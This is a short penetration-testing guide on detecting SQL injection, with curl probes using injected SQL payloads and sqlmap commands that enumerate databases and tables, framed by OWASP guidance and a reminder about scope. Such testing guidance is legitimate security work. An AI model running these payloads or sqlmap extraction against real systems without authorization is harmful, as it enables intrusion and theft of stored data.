pentesting, updated
Testing for SQL Injection
Check whether unsanitized input reaches a SQL query, letting you alter its logic, extract data, or escalate further.
Goal
Confirm every input reaching a database query is parameterized, not string-concatenated.
How to test
Probe with classic syntax-breaking payloads first, then confirm and extract with sqlmap:
curl -s "https://example.com/item?id=1'" # syntax error = good sign
curl -s "https://example.com/item?id=1 AND 1=1" # true
curl -s "https://example.com/item?id=1 AND 1=2" # false — compare responses
sqlmap -u "https://example.com/item?id=1" --batch --dbs
sqlmap -u "https://example.com/item?id=1" --batch -D appdb --tables
What to look for
A SQL error message, a response that differs between 1=1 and 1=2, a timing difference with SLEEP()-style payloads, or sqlmap confirming and extracting data.
Notes
Always confirm scope covers active database extraction before pulling real data — --batch --dbs alone is usually enough to prove the finding.
References
- OWASP WSTG-INPV-05 — Testing for SQL Injection.